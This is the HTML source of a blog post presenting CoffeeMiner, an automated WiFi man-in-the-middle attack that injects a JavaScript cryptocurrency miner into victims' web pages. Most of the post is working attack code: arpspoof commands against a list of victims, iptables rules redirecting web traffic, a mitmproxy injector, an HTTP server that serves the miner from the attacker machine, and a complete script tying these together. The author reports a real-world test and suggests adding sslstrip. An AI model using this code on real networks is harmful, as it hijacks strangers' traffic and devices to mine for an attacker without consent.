arnaucube
arnaucube/arnaucube.comPublic Self-hosted repository
arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
blog/coffeeminer-hacking-wifi-cryptocurrency-miner.htmlRaw
  1<!DOCTYPE html>
  2<html lang="en">
  3
  4  <head>
  5    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  6    <meta charset="utf-8">
  7    <title> CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog</title>
  8    <meta name="title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
  9    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 10
 11    <meta property="og:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog" />
 12    <meta property="og:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
 13    <meta property="og:url" content="https://arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html" />
 14    <meta property="og:type" content="article" />
 15    <meta property="og:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png" />
 16    <meta name="twitter:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
 17    <meta name="twitter:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 18    <meta name="twitter:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png">
 19    <meta name="twitter:card" content="summary_large_image">
 20    <meta name="author" content="arnaucube">
 21
 22    <link rel="icon" type="image/png" href="img/logoArnauCubeFavicon.png">
 23
 24    <meta name="viewport" content="width=device-width, initial-scale=1">
 25
 26    <link href="css/bootstrap.min.css" rel="stylesheet">
 27    <link rel="stylesheet" href="css/style.css">
 28
 29    <!-- highlightjs -->
 30    <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
 31    <link rel="stylesheet" href="js/highlightjs/atom-one-light.css">
 32    <!-- <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css"> -->
 33    <script src="js/highlightjs/highlight.pack.js"></script>
 34
 35    <!-- katex -->
 36    <link rel="stylesheet" href="js/katex/katex.min.css">
 37  <link rel="alternate" type="application/rss+xml" title="arnaucube - blog RSS" href="https://arnaucube.com/blog/rss.xml">
 38</head>
 39
 40  <body>
 41
 42    <!-- o_gradient_background" -->
 43    <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
 44                      style="height:50px;font-size:100%;">
 45      <div class="container">
 46        <div style="float:left;">
 47        <a href="/blog" style="color:#000;display:inline-block;">blog</a>
 48        <span style="margin-right:20px; margin-left:20px;">|</span>
 49        <a href="/blog/notes.html" style="font-size:90%;color:#000;display:inline-block;">notes</a>
 50        </div>
 51        <div style="float:right;">
 52          <a href="/" style="color:#000;display:inline-block;margin-right:10px;">arnaucube.com</a>
 53          <a href="/blog/rss.xml" target="_blank"
 54            type="application/rss+xml" title="subscribe via RSS" aria-label="subscribe via RSS">
 55              <img width="12px;" src="img/rss.png" />
 56          </a>
 57          <div class="onoffswitch" style="margin-left:0px;display:inline-block;" title="change theme">
 58            <input onclick="switchTheme()" type="checkbox" name="onoffswitch" class="onoffswitch-checkbox"
 59              id="themeSwitcher">
 60            <label class="onoffswitch-label" for="themeSwitcher"></label>
 61          </div>
 62        </div>
 63      </div>
 64      <!-- <img style="height:5px; width:100%; margin-top:8px;" src="img/gradient-line.jpg" /> -->
 65    </nav>
 66
 67
 68
 69    <div class="container" style="margin-top:0px;max-width:800px;">
 70      <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
 71
 72<p><em>2018-01-04</em></p>
 73
 74<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
 75
 76<p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
 77
 78<p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
 79
 80<p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
 81
 82<p>The objective is to have a script that performs autonomous attack on the WiFi network. It&rsquo;s what we have called <strong>CoffeeMiner</strong>, as it&rsquo;s a kind of attack that can be performed in the cafes WiFi networks.</p>
 83
 84<h2>1. The Scenario</h2>
 85
 86<p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
 87
 88<p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
 89
 90<h3>1.1 Scenario configuration</h3>
 91
 92<p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
 93
 94<p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
 95
 96<p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
 97
 98<p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
 99
100<p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
101
102<ul>
103<li>Victim
104
105<ul>
106<li>will be the machine that connects to the Router and browse some pages.</li>
107</ul></li>
108<li>Attacker
109
110<ul>
111<li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
112</ul></li>
113<li>Router / Gateway
114
115<ul>
116<li>will act as a normal gateway.</li>
117</ul></li>
118</ul>
119
120<p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
121
122<p>Once the attack is performed, the scenario will be:</p>
123
124<p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
125
126<p>To configure each one of the machines, we will do the following configuration:</p>
127
128<ul>
129<li>Victim
130
131<ul>
132<li>network adapter:
133
134<ul>
135<li>eth0: Host-only Adapter</li>
136</ul></li>
137<li>/etc/network/interfaces:</li>
138</ul></li>
139</ul>
140
141<pre><code class="language-bash">auto lo
142iface lo inet loopback
143
144auto eth0
145iface eth0 inet static
146    address 10.0.2.10
147    netmask 255.255.255.0
148    gateway 10.0.2.15
149</code></pre>
150
151<ul>
152<li>Attacker
153
154<ul>
155<li>network adapter:
156
157<ul>
158<li>eth0: Host-only Adapter</li>
159</ul></li>
160<li>/etc/network/interfaces:</li>
161</ul></li>
162</ul>
163
164<pre><code class="language-bash">auto lo
165iface lo inet loopback
166
167auto eth0
168iface eth0 inet static
169    address 10.0.2.20
170    netmask 255.255.255.0
171    gateway 10.0.2.15
172</code></pre>
173
174<ul>
175<li>Router / Gateway
176
177<ul>
178<li>network adapter:
179
180<ul>
181<li>eth0: Bridged Adapter</li>
182<li>eth1: Host-only Adapter</li>
183</ul></li>
184<li>/etc/network/interfaces:</li>
185</ul></li>
186</ul>
187
188<pre><code class="language-bash">auto lo
189iface lo inet loopback
190
191auto eth0
192iface eth0 inet dhcp
193
194auto eth1
195iface eth1 inet static
196    address 10.0.2.15
197    netmask 255.255.255.0
198</code></pre>
199
200<h2>2. CoffeeMiner, understanding the code</h2>
201
202<h3>2.1 ARPspoofing</h3>
203
204<p>First of all, we need to understand how the MITM attack is performed.</p>
205
206<p>From wikipedia:</p>
207
208<p><em>&ldquo;In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker&rsquo;s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.&rdquo;</em></p>
209
210<p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
211
212<p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
213
214<pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
215arpspoof -i interface -t ipGateway ipVictim
216</code></pre>
217
218<h3>2.2 mitmproxy</h3>
219
220<p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
221
222<p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
223
224<p>The line to inject the crypto miner is:</p>
225
226<pre><code class="language-html">&lt;script src=&quot;http://httpserverIP:8000/script.js&quot;&gt;&lt;/script&gt;
227</code></pre>
228
229<h3>2.3 Injector</h3>
230
231<p>Once we have the victim&rsquo;s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
232
233<pre><code class="language-python">from bs4 import BeautifulSoup
234from mitmproxy import ctx, http
235import argparse
236
237class Injector:
238    def __init__(self, path):
239        self.path = path
240
241    def response(self, flow: http.HTTPFlow) -&gt; None:
242        if self.path:
243            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
244            print(self.path)
245            print(flow.response.headers[&quot;content-type&quot;])
246            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
247                script = html.new_tag(
248                    &quot;script&quot;,
249                    src=self.path,
250                    type='application/javascript')
251                html.body.insert(0, script)
252                flow.response.content = str(html).encode(&quot;utf8&quot;)
253                print(&quot;Script injected.&quot;)
254
255def start():
256    parser = argparse.ArgumentParser()
257    parser.add_argument(&quot;path&quot;, type=str)
258    args = parser.parse_args()
259    return Injector(args.path)
260
261</code></pre>
262
263<h3>2.4 HTTP Server</h3>
264
265<p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
266
267<p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library &lsquo;http.server&rsquo;:</p>
268
269<pre><code class="language-python">#!/usr/bin/env python
270import http.server
271import socketserver
272import os
273
274PORT = 8000
275
276web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
277os.chdir(web_dir)
278
279Handler = http.server.SimpleHTTPRequestHandler
280httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)
281print(&quot;serving at port&quot;, PORT)
282httpd.serve_forever()
283</code></pre>
284
285<p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
286
287<p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
288
289<h3>2.5 CoinHive crypto miner</h3>
290
291<p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
292
293<p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn&rsquo;t make much sense.</p>
294
295<p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
296
297<p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
298
299<h2>3. CoffeeMiner, puting all together</h2>
300
301<p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
302
303<p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
304
305<p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker&rsquo;s machine into a proxy:</p>
306
307<pre><code class="language-bash">echo 1 &gt; /proc/sys/net/ipv4/ip_forward
308iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
309iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
310</code></pre>
311
312<p>To perform the ARPspoof for all the victims, we will prepare a &lsquo;victims.txt&rsquo; file with all the victim&rsquo;s IP.
313To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim&rsquo;s IP.</p>
314
315<pre><code class="language-python"># get gateway_ip
316gateway = sys.argv[1]
317print(&quot;gateway: &quot; + gateway)
318# get victims_ip
319victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
320print(&quot;victims:&quot;)
321print(victims)
322
323# run the arpspoof for each victim, each one in a new console
324for victim in victims:
325    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
326    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
327</code></pre>
328
329<p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
330
331<pre><code class="language-bash">&gt; python3 httpServer.py
332</code></pre>
333
334<p>And now, we can run the mitmproxy with the injector.py:</p>
335
336<pre><code class="language-bash">&gt; mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
337</code></pre>
338
339<h2>3.1 CoffeeMiner, final script</h2>
340
341<p>Now we put all the concepts explained above in the &lsquo;coffeeMiner.py&rsquo; script:</p>
342
343<pre><code class="language-python">import os
344import sys
345
346#get gateway_ip (router)
347gateway = sys.argv[1]
348print(&quot;gateway: &quot; + gateway)
349# get victims_ip
350victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
351print(&quot;victims:&quot;)
352print(victims)
353
354# configure routing (IPTABLES)
355os.system(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;)
356os.system(&quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot;)
357os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&quot;)
358os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080&quot;)
359
360
361# run the arpspoof for each victim, each one in a new console
362for victim in victims:
363    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
364    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
365
366# start the http server for serving the script.js, in a new console
367os.system(&quot;xterm -hold -e 'python3 httpServer.py' &amp;&quot;)
368
369# start the mitmproxy
370os.system(&quot;~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T&quot;)
371</code></pre>
372
373<p>And also in the &lsquo;injector.py&rsquo; script:</p>
374
375<pre><code class="language-python">from bs4 import BeautifulSoup
376from mitmproxy import ctx, http
377import argparse
378
379class Injector:
380    def __init__(self, path):
381        self.path = path
382
383    def response(self, flow: http.HTTPFlow) -&gt; None:
384        if self.path:
385            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
386            print(self.path)
387            print(flow.response.headers[&quot;content-type&quot;])
388            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
389                print(flow.response.headers[&quot;content-type&quot;])
390                script = html.new_tag(
391                    &quot;script&quot;,
392                    src=self.path,
393                    type='application/javascript')
394                html.body.insert(0, script)
395                flow.response.content = str(html).encode(&quot;utf8&quot;)
396                print(&quot;Script injected.&quot;)
397
398def start():
399    parser = argparse.ArgumentParser()
400    parser.add_argument(&quot;path&quot;, type=str)
401    args = parser.parse_args()
402    return Injector(args.path)
403</code></pre>
404
405<p>And to execute, we just need to do:</p>
406
407<pre><code class="language-bash">&gt; python3 coffeeMiner.py RouterIP
408</code></pre>
409
410<h2>4. Demo</h2>
411
412<p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
413
414<p>If we want to perform the attack manually, we will need the following terminals:</p>
415
416<p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
417
418<p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim&rsquo;s machine and browse to a website. The victim&rsquo;s traffic will go through the attacker machine, and will activate the injector:</p>
419
420<p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
421
422<p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
423
424<p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
425
426<h4>4.1 Demo video</h4>
427
428<p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
429
430<ul>
431<li>VirtualBox demo:</li>
432</ul>
433
434<p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
435
436<ul>
437<li>Real world WiFi network and laptops demo:</li>
438</ul>
439
440<p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
441
442<h2>Conclusion</h2>
443
444<p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
445
446<p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
447
448<p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
449
450<p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
451
452<hr>
453
454<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
455
456<hr>
457
458<p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
459
460<hr>
461
462<h1>References in the press about this article</h1>
463
464<ul>
465<li><p>English</p>
466
467<ul>
468<li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
469<li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
470<li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
471<li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
472<li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
473<li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
474<li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
475<li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
476<li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap</a></li>
477<li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
478<li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
479<li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
480<li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
481<li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
482<li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
483<li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
484<li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
485<li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
486<li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
487<li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
488</ul></li>
489
490<li><p>Spanish</p>
491
492<ul>
493<li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
494<li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
495<li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
496<li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
497<li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
498<li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
499<li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
500<li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
501</ul></li>
502
503<li><p>Russian</p>
504
505<ul>
506<li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
507<li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
508<li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
509</ul></li>
510
511<li><p>Italian</p>
512
513<ul>
514<li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
515</ul></li>
516
517<li><p>Bulgarian</p>
518
519<ul>
520<li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
521</ul></li>
522
523<li><p>Greek</p>
524
525<ul>
526<li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
527</ul></li>
528
529<li><p>Turkish</p>
530
531<ul>
532<li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
533</ul></li>
534
535<li><p>Dutch</p>
536
537<ul>
538<li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
539</ul></li>
540
541<li><p>Chinese</p>
542
543<ul>
544<li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
545<li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
546</ul></li>
547</ul>
548
549<h4>Destacated tweets</h4>
550
551<ul>
552<li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
553<li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
554<li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
555<li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
556<li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
557<li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
558<li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
559</ul>
560
561<p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
562
563    </div>
564
565    <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
566      <div class="container">
567        <br>
568        <a href="/blog">Go to main</a>
569        <br><br>
570        <div class="row">
571          <ul class="list-inline">
572            <li><a href="https://twitter.com/arnaucube"
573                   style="color:gray;text-decoration:none;"
574                   target="_blank">twitter.com/arnaucube</a>
575            </li>
576            <li><a href="https://github.com/arnaucube"
577                   style="color:gray;text-decoration:none;"
578                   target="_blank">github.com/arnaucube</a>
579            </li>
580          </ul>
581        </div>
